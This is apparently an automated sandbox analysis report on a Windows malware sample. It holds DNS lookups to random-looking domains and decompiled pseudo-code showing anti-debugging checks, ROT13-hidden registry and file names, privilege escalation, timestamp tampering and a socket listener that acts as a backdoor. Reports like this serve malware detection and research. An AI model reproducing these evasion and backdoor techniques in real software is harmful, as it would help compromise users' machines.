Nov 7, 2022 22:26:10.845859051 CET	8.8.8.8	192.168.2.5	0xfb53	Name error (3)	swqrheamea.biz	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rmhhhmswqh.org

whenaeqsar.in

pqarseshhn.in

meahewphwa.in

hmpasnpmas.net

enahmnhqah.ws

erwrahwnhs.ws

emasqpamqs.ws

eaehanqhsr.ws

wpqqhhspps.in

aewrhprres.com

asnrrsamsa.com

aanparshnh.com

aharwhphnh.com

rsrsemnren.org

empewsqsqa.ws

reaaheeara.org

rrhaerswna.org

aaawpshran.com

ennmqsmqna.ws

ehrawpsrms.ws

awhhsqness.com

eqprsrnprs.ws

aaesrmawah.com

eqnhphnqms.ws

erphseshhh.ws

emhmmwaasa.ws

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: ydbWyoxHsd.exePID: 5408, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.4%
Total number of Nodes:	1703
Total number of Limit Nodes:	23

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E10002020() {
				void* _v16;
				char _v156;
				void _v204;
				void _v252;
				void* _v266;
				void _v268;
				char _v668;
				char _v672;
				char _v696;
				int _v700;
				intOrPtr _v704;
				intOrPtr _v712;
				void* _v716;
				void* _v720;
				int _v732;
				char _v736;
				intOrPtr _v740;
				intOrPtr _v752;
				void* __ebx;
				char _t39;
				void* _t42;
				void* _t48;
				void* _t51;
				char* _t56;
				void* _t57;
				char* _t60;
				char* _t61;
				int _t68;
				char _t75;
				void* _t76;
				intOrPtr* _t78;
				void* _t80;
				intOrPtr* _t84;
				intOrPtr* _t85;

				_v672 = 0x10;
				_t39 =  &_v668;
				_v696 = _t39;
				_v700 = 0x202;
				L10003034();
				_t78 = _t76 - 0x2a4;
				_t68 = 0;
				if(_t39 != 0) {
					L10:
					return _t68;
				}
				_v700 = 0;
				_v704 = 1;
				 *_t78 = 2; // executed
				L1000301C(); // executed
				_t80 = _t78 - 0xc;
				_t75 = _t39;
				if(_t39 == 0xffffffff) {
					L9:
					_t68 = 0;
					goto L10;
				}
				asm("cld");
				_t42 = memset( &_v268, 0, 4 << 2);
				_v268 = 2;
				_v720 = 0xc57;
				L1000303C();
				_v266 = _t42;
				asm("cld");
				memset( &_v252, memset( &_v204, 0, 0xa << 2), 0xa << 2);
				_t84 = _t80 + 0xc - 4 + 0x18;
				_v720 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
				_t60 =  &_v156;
				 *_t84 = _t60;
				E10001F26();
				_v712 = 0x28;
				_v716 =  &_v204;
				_v720 = "usw";
				 *_t84 = _t60; // executed
				_t48 = E10001F57(_t60); // executed
				_t68 = 0;
				if(_t48 == 0) {
					goto L10;
				}
				_v712 = 0x28;
				_v716 =  &_v252;
				_v720 = "pafw";
				 *_t84 =  &_v156; // executed
				_t51 = E10001F57(_t60); // executed
				_t68 = 0;
				if(_t51 == 0) {
					goto L10;
				}
				_v720 =  &_v204;
				 *_t84 = 0x10006054;
				E10001F26();
				_v720 =  &_v252;
				 *_t84 = 0x100060c4;
				E10001F26();
				_v716 = 0x10;
				_t56 =  &_v268;
				_v720 = _t56;
				 *_t84 = _t75; // executed
				L10003044(); // executed
				_t85 = _t84 - 0xc;
				if(_t56 == 0xffffffff) {
					L8:
					_v736 = _t75;
					L10003014();
					goto L9;
				}
				_v732 = 0;
				_v736 = _t75; // executed
				L1000304C(); // executed
				_t85 = _t85 - 8;
				_t61 =  &_v672;
				if(_t56 == 0xffffffff) {
					goto L8;
				}
				L6:
				_v736 = _t61;
				_t57 =  &_v268;
				_v740 = _t57;
				 *_t85 = _t75; // executed
				L10003054(); // executed
				_t85 = _t85 - 0xc;
				if(_t57 != 0xffffffff) {
					_v752 = _t57;
					 *_t85 = E10001C8C;
					E10001180();
				}
				goto L6;
			}

0x1000202c
0x10002036
0x1000203c
0x10002040
0x10002047
0x1000204c
0x1000204f
0x10002056
0x100021fd
0x10002206
0x10002206
0x1000205c
0x10002064
0x1000206c
0x10002073
0x10002078
0x1000207b
0x10002080
0x100021f8
0x100021f8
0x00000000
0x100021f8
0x1000208c
0x10002099
0x1000209b
0x100020a4
0x100020ab
0x100020b3
0x100020c0
0x100020d5
0x100020d5
0x100020d7
0x100020df
0x100020e5
0x100020e8
0x100020ed
0x100020fb
0x100020ff
0x10002107
0x1000210a
0x1000210f
0x10002116
0x00000000
0x00000000
0x1000211c
0x1000212a
0x1000212e
0x1000213c
0x1000213f
0x10002144
0x1000214b
0x00000000
0x00000000
0x10002157
0x1000215b
0x10002162
0x1000216d
0x10002171
0x10002178
0x1000217d
0x10002185
0x1000218b
0x1000218f
0x10002192
0x10002197
0x1000219d
0x100021ed
0x100021ed
0x100021f0
0x00000000
0x100021f5
0x1000219f
0x100021a7
0x100021aa
0x100021af
0x100021b2
0x100021bb
0x00000000
0x00000000
0x100021bd
0x100021bd
0x100021c1
0x100021c7
0x100021cb
0x100021ce
0x100021d3
0x100021d9
0x100021db
0x100021df
0x100021e6
0x100021e6
0x00000000

APIs

WSAStartup.WS2_32 ref: 10002047
socket.WS2_32 ref: 10002073
htons.WS2_32 ref: 100020AB
rot13.SHERVANS ref: 100020E8

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

Get_Reg_SZ.SHERVANS ref: 1000210A

Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001F90
Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001FBE
Part of subcall function 10001F57: RegQueryValueExA.ADVAPI32 ref: 10001FF9
Part of subcall function 10001F57: RegCloseKey.ADVAPI32 ref: 10002009

Get_Reg_SZ.SHERVANS ref: 1000213F
rot13.SHERVANS ref: 10002162
rot13.SHERVANS ref: 10002178
bind.WSOCK32 ref: 10002192
listen.WS2_32 ref: 100021AA
accept.WS2_32 ref: 100021CE
create_thread.SHERVANS ref: 100021E6
closesocket.WS2_32 ref: 100021F0

Strings

(, xrefs: 1000211C
@P, xrefs: 100020D7

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: rot13$Get_OpenReg_$CloseQueryStartupValueacceptbindclosesocketcreate_threadhtonslistenrot13csocket
String ID: ($@P
API String ID: 4131626927-3767838720
Opcode ID: d78ab5753523488464efac9591bc959a05145e684d76b3ee9f59682df6552bca
Instruction ID: 518850a0735b41474e77e1906edfbaa0d3577d285dae3c11e1d321053acd375c
Opcode Fuzzy Hash: d78ab5753523488464efac9591bc959a05145e684d76b3ee9f59682df6552bca
Instruction Fuzzy Hash: 18418EB48093049AE750EF24C9443EEBBF4EF40390F40CA7DE59887285EB759A889F43

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401150() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _t20;
				char _t23;
				intOrPtr* _t25;
				void* _t35;
				void* _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t39;
				signed int _t40;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(??); // executed
				_t40 = _t39 - 4;
				E0040B000(E0040AF00(_t35, _t36));
				_v12 = 0;
				_v32 =  &_v12;
				_t20 =  *0x40d4e4; // 0xffffffff
				 *_t40 = 0x414004;
				_v36 = _t20;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t23 =  *0x418230;
				if(_t23 == 0) {
					L6:
					L0040C1A0();
					_t37 =  *0x40d4e8; // 0x4000
					 *_t23 = _t37;
					E0040AED0(_t23);
					_t40 = _t40 & 0xfffffff0; // executed
					_t25 = E0040AEB0(); // executed
					L0040C190();
					_v40 =  *_t25;
					_v44 =  *0x414000;
					 *_t40 =  *0x414004; // executed
					_t23 = E00404076(_t37); // executed
					L0040C188();
					 *_t40 = _t23; // executed
					ExitProcess(??); // executed
					L7:
					_v40 = _t23;
					_t23 =  *((intOrPtr*)( *0x4194a4 + 0x10));
					_v44 = _t23;
					L0040C1A8();
					_t38 =  *0x4194a4;
					L2:
					if(_t38 != 0xffffffe0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						_v44 = _t23;
						L0040C1A8();
						_t38 =  *0x4194a4;
					}
					if(_t38 != 0xffffffc0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						_v44 = _t23;
						L0040C1A8();
					}
					goto L6;
				}
				 *0x40d4e8 = _t23;
				_t38 =  *0x4194a4;
				if(_t38 != 0) {
					goto L7;
				}
				goto L2;
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x0040117e
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x00401215
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x004011bf
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6
0x004011ac
0x004011b1
0x004011b9
0x00000000
0x00000000
0x00000000

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: b4eaf857ed3212c497738ef17982bc4edc5aafd90f9051ff687a4a2c9b8e1448
Instruction ID: fe54e7aefeed6918a5ef1b916f0e819b51a912cea38922c35654569b06e5a2dd
Opcode Fuzzy Hash: b4eaf857ed3212c497738ef17982bc4edc5aafd90f9051ff687a4a2c9b8e1448
Instruction Fuzzy Hash: 8631EDB4908701DFC700EF75D98154E77E5BF88354F008A7EE545AB3A2D73898418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401149 Relevance: 12.1, APIs: 8, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00401149() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _t20;
				char _t23;
				intOrPtr* _t25;
				_Unknown_base(*)()* _t34;
				void* _t36;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				void* _t42;
				signed int _t44;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(_t34); // executed
				_t44 = _t42 - 0x20;
				E0040B000(E0040AF00(_t36, _t37));
				_v12 = 0;
				_v32 =  &_v12;
				_t20 =  *0x40d4e4; // 0xffffffff
				 *_t44 = 0x414004;
				_v36 = _t20;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t23 =  *0x418230;
				if(_t23 == 0) {
					L7:
					L0040C1A0();
					_t38 =  *0x40d4e8; // 0x4000
					 *_t23 = _t38;
					E0040AED0(_t23);
					_t44 = _t44 & 0xfffffff0; // executed
					_t25 = E0040AEB0(); // executed
					L0040C190();
					_v40 =  *_t25;
					_v44 =  *0x414000;
					 *_t44 =  *0x414004; // executed
					_t23 = E00404076(_t38); // executed
					L0040C188();
					 *_t44 = _t23; // executed
					ExitProcess(??); // executed
					goto L8;
				} else {
					 *0x40d4e8 = _t23;
					_t39 =  *0x4194a4;
					if(_t39 != 0) {
						L8:
						_v40 = _t23;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x10));
						_v44 = _t23;
						L0040C1A8();
						_t39 =  *0x4194a4;
					}
					if(_t39 != 0xffffffe0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						_v44 = _t23;
						L0040C1A8();
						_t39 =  *0x4194a4;
					}
					if(_t39 != 0xffffffc0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						_v44 = _t23;
						L0040C1A8();
					}
					goto L7;
				}
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x0040117e
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x00401215
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00000000
0x004011ac
0x004011ac
0x004011b1
0x004011b9
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x00401274
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: de32d829cb3842ad61717656b7ea68eb81935684880d1ae83627c20b65cc97da
Instruction ID: 7cb89241a2ef958f6d0767399d1a1595bed5fc4071ce6b0a09e50a244a9f3c8c
Opcode Fuzzy Hash: de32d829cb3842ad61717656b7ea68eb81935684880d1ae83627c20b65cc97da
Instruction Fuzzy Hash: CF21FDB4904700DFC700EFB5D98164A7BE5BF88354F008A7EE545AB3A2D738A8418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00404076 Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 169
sleeplibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00404076(void* __edx) {
				void* _v16;
				char _v428;
				char _v588;
				char _v748;
				char _v908;
				char _v940;
				char _v944;
				char* _v976;
				int _v980;
				int _v984;
				char* _v988;
				int _v992;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t43;
				void* _t44;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t55;
				char _t58;
				void* _t60;
				intOrPtr _t63;
				char* _t90;
				char* _t91;
				char* _t92;
				char* _t93;
				void* _t96;
				void* _t98;
				char* _t100;
				void* _t101;
				char* _t102;
				void* _t103;
				int* _t106;
				char** _t107;
				char** _t109;
				char** _t112;
				char** _t113;

				_t96 = __edx;
				E0040B320();
				E0040AEB0();
				_v984 =  &_v428;
				_v988 = 2; // executed
				L004086C8(); // executed
				_t106 = (_t103 - 0x000003cc & 0xfffffff0) - 8;
				_t43 = E00404AB8();
				_t114 = _t43;
				if(_t43 != 0) {
					 *_t106 = 0;
					ExitProcess(??); // executed
				}
				_t44 = E004049EA(_t114); // executed
				if(_t44 != 0) {
					 *_t106 = 0;
					ExitProcess(??);
				}
				_t98 =  &_v940;
				asm("cld");
				memset(_t98, 0, 7 << 2);
				_t107 =  &(_t106[3]);
				 *((short*)(_t98 + 7)) = 0;
				_v988 = "user32.dll";
				_v992 = 0x96;
				 *_t107 =  &_v908;
				E00404620();
				_v992 = "fureinaf.qyy";
				_t100 =  &_v940;
				 *_t107 = _t100;
				E00404C38();
				_v988 = _t100;
				_v992 = 0x96;
				_t90 =  &_v588;
				 *_t107 = _t90;
				E00404620();
				 *_t107 = _t90; // executed
				_t51 = E00403F24(); // executed
				_t101 = _t51; // executed
				_t52 = E00403D26(_t90); // executed
				if(_t52 != 0) {
					_t53 = E00403E2E(_t90);
					_t97 = 0;
					__eflags = _t53;
					if(_t53 == 0) {
						_t91 =  &_v588;
						 *_t107 = _t91;
						_t55 = E00404ED6();
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = _t101;
							if(_t101 == 0) {
								 *_t107 =  &_v588;
								LoadLibraryA(??);
								_t107 = _t107 - 4;
							}
							_v992 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
							_t102 =  &_v748;
							 *_t107 = _t102;
							E00404C38();
							_v992 = "fgngrz";
							_t92 =  &_v940;
							 *_t107 = _t92;
							E00404C38();
							_v992 = _t92;
							 *_t107 = _t102;
							_t58 = E00404812(_t92);
							_v944 = _t58;
							__eflags = _t58 - 1;
							if(_t58 <= 1) {
								_v976 =  &_v944;
								_v980 = 0;
								_v984 = 0;
								_v988 = E00403AE0;
								_v992 = 0;
								 *_t107 = 0;
								CreateThread(??, ??, ??, ??, ??, ??);
								_t107 = _t107 - 0x18;
							}
							 *_t107 = "SeDebugPrivilege";
							E00404DF4();
							 *_t107 = 0x7d0;
							Sleep(??);
							_t109 = _t107 - 4;
							_t60 = E0040402C(_t92);
							__eflags = _t60;
							if(_t60 == 0) {
								 *_t109 =  &_v588;
								LoadLibraryA(??);
								_t109 = _t109 - 4;
							}
							_v992 = "hfonpgvi";
							_t93 =  &_v940;
							 *_t109 = _t93;
							E00404C38();
							_v992 = _t93;
							 *_t109 =  &_v748;
							_t63 = E00404812(_t93);
							_v944 = _t63;
							__eflags = _t63 - 1;
							if(_t63 == 1) {
								E00406A0A();
							}
							E00407C4E(_t97);
							L18:
							 *_t109 = 0xfa0;
							Sleep(??);
							_t109 = _t109 - 4;
							goto L18;
						}
						E00405DC4(0);
						 *_t107 = _t91;
						E00405D46(_t91, 0);
						E00403C44(_t91, _t100, _t101);
						E004056D0(0);
						 *_t107 = _t91;
						E004054F2(0);
						_v992 = _t91;
						 *_t107 =  &_v908;
						E0040435C(_t91, _t97);
						 *_t107 = _t91;
						LoadLibraryA(??);
						 *(_t107 - 4) = 0xfa0;
						Sleep(??);
						_t97 = 0;
					}
				} else {
					E00405DC4(_t96); // executed
					 *_t107 = _t90; // executed
					E00405D46(_t90, _t96); // executed
					E00403C44(_t90, _t100, _t101); // executed
					E004056D0(_t96); // executed
					 *_t107 = _t90; // executed
					E004054F2(_t96); // executed
					_v992 = _t90;
					 *_t107 =  &_v908; // executed
					E0040435C(_t90, _t96); // executed
					 *_t107 = _t90; // executed
					LoadLibraryA(??); // executed
					_t112 = _t107 - 4;
					 *_t112 = 0xfa0; // executed
					Sleep(??); // executed
					_t113 = _t112 - 4;
					_v992 = "pgszra.rkr";
					 *_t113 = _t100;
					E00404C38();
					_v992 = 0;
					 *_t113 = _t100; // executed
					E00405776(_t90); // executed
					_t97 = 0;
				}
				return _t97;
			}

0x00404076
0x0040408a
0x0040408f
0x0040409a
0x0040409e
0x004040a5
0x004040aa
0x004040ad
0x004040b2
0x004040b4
0x004040b6
0x004040bd
0x004040bd
0x004040c2
0x004040c9
0x004040cb
0x004040d2
0x004040d2
0x004040d7
0x004040dd
0x004040e8
0x004040e8
0x004040ea
0x004040ef
0x004040f7
0x00404105
0x00404108
0x0040410d
0x00404115
0x0040411b
0x0040411e
0x00404123
0x00404127
0x0040412f
0x00404135
0x00404138
0x0040413d
0x00404140
0x00404145
0x00404147
0x0040414e
0x004041c5
0x004041ca
0x004041cf
0x004041d1
0x004041d7
0x004041dd
0x004041e0
0x004041e5
0x004041e7
0x0040423e
0x00404240
0x00404248
0x0040424b
0x00404250
0x00404250
0x00404253
0x0040425b
0x00404261
0x00404264
0x00404269
0x00404271
0x00404277
0x0040427a
0x0040427f
0x00404283
0x00404286
0x0040428b
0x00404291
0x00404294
0x0040429c
0x004042a0
0x004042a8
0x004042b0
0x004042b8
0x004042c0
0x004042c7
0x004042cc
0x004042cc
0x004042cf
0x004042d6
0x004042db
0x004042e2
0x004042e7
0x004042ea
0x004042ef
0x004042f1
0x004042f9
0x004042fc
0x00404301
0x00404301
0x00404304
0x0040430c
0x00404312
0x00404315
0x0040431a
0x00404324
0x00404327
0x0040432c
0x00404332
0x00404335
0x00404337
0x00404337
0x0040433c
0x00404341
0x00404341
0x00404348
0x0040434d
0x00000000
0x0040434d
0x004041e9
0x004041ee
0x004041f1
0x004041f6
0x004041fb
0x00404200
0x00404203
0x00404208
0x00404212
0x00404215
0x0040421a
0x0040421d
0x00404225
0x0040422c
0x00404234
0x00404234
0x00404150
0x00404150
0x00404155
0x00404158
0x0040415d
0x00404162
0x00404167
0x0040416a
0x0040416f
0x00404179
0x0040417c
0x00404181
0x00404184
0x00404189
0x0040418c
0x00404193
0x00404198
0x0040419b
0x004041a3
0x004041a6
0x004041ab
0x004041b3
0x004041b6
0x004041bb
0x004041bb
0x0040435b

APIs

WSAStartup.WS2_32 ref: 004040A5

Part of subcall function 00404AB8: IsDebuggerPresent.KERNEL32(004040B2), ref: 00404AC1

ExitProcess.KERNEL32 ref: 004040BD

Part of subcall function 00403E2E: CreateMutexA.KERNEL32 ref: 00403E5B
Part of subcall function 00403E2E: GetLastError.KERNEL32 ref: 00403E63

Part of subcall function 00404ED6: fopen.MSVCRT ref: 00404EEA
Part of subcall function 00404ED6: fclose.MSVCRT ref: 00404EFB

ExitProcess.KERNEL32 ref: 004040D2
LoadLibraryA.KERNEL32 ref: 00404184
Sleep.KERNEL32 ref: 00404193
LoadLibraryA.KERNEL32 ref: 0040421D
Sleep.KERNEL32 ref: 0040422C
LoadLibraryA.KERNEL32 ref: 0040424B
CreateThread.KERNEL32 ref: 004042C7
Sleep.KERNEL32 ref: 004042E2
LoadLibraryA.KERNEL32 ref: 004042FC
Sleep.KERNEL32 ref: 00404348

Part of subcall function 00405DC4: CreateFileA.KERNEL32 ref: 00405E5E
Part of subcall function 00405DC4: ExitProcess.KERNEL32 ref: 00405E7E
Part of subcall function 00405DC4: CloseHandle.KERNEL32 ref: 00405E9E

Part of subcall function 00405D46: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405D83
Part of subcall function 00405D46: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405DB7

Part of subcall function 004056D0: GetModuleFileNameA.KERNEL32 ref: 004056F4
Part of subcall function 004056D0: CopyFileA.KERNEL32 ref: 0040573B

Part of subcall function 004054F2: CreateFileA.KERNEL32 ref: 00405531
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405574
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040559A
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 004055A9
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 004055D4
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004055FA
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 00405609
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405634
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040565A
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 0040567D
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004056AF
Part of subcall function 004054F2: CloseHandle.KERNEL32 ref: 004056C0

Part of subcall function 0040435C: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
Part of subcall function 0040435C: GetFileTime.KERNEL32 ref: 004043CD
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 004043E5
Part of subcall function 0040435C: CreateFileA.KERNEL32 ref: 00404423
Part of subcall function 0040435C: SetFileTime.KERNEL32 ref: 00404453
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 00404467

Strings

Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00404253
pgszra.rkr, xrefs: 0040419B
fgngrz, xrefs: 00404269
hfonpgvi, xrefs: 00404304
user32.dll, xrefs: 004040EF
SeDebugPrivilege, xrefs: 004042CF
fureinaf.qyy, xrefs: 0040410D

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$Create$Sleep$CloseHandle$LibraryLoadPointerWrite$ExitProcess$Time$CopyDebuggerErrorLastModuleMutexNamePresentStartupThreadfclosefopen
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$SeDebugPrivilege$fgngrz$fureinaf.qyy$hfonpgvi$pgszra.rkr$user32.dll
API String ID: 2057360409-330933156
Opcode ID: 199cad912980a4fc92ecc50461b3e6f79d7811f6d2aad3494388b950cac20798
Instruction ID: 0cfcdf05f74210d9808c357536bce9e529f0bcd84bc5eb1993387659449c0d65
Opcode Fuzzy Hash: 199cad912980a4fc92ecc50461b3e6f79d7811f6d2aad3494388b950cac20798
Instruction Fuzzy Hash: 67610EB09087048AD710BF75C58625EBAE4AF81308F41997FE9C4776C2DB7C96888F5B

Uniqueness

Uniqueness Score: -1.00%

Function 10002CEF Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 100
stringsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E10002CEF(signed int __edx) {
				void* _v16;
				char _v188;
				char _v316;
				char _v348;
				char _v508;
				char _v509;
				void _v604;
				void* _v612;
				int _v616;
				void* _v620;
				void* __ebx;
				signed int _t44;
				void* _t50;
				int _t52;
				CHAR* _t54;
				signed int _t62;
				signed int _t63;
				int _t65;
				void* _t66;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void** _t72;
				intOrPtr* _t73;
				void** _t74;

				_t63 = __edx;
				memcpy( &_v604, 0x10004000, 0x60);
				E10001F26( &_v316, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba");
				E10001F26( &_v348, "hfonpgvi");
				_t44 = E10002B9C( &_v348,  &_v316,  &_v348); // executed
				_t65 = 0;
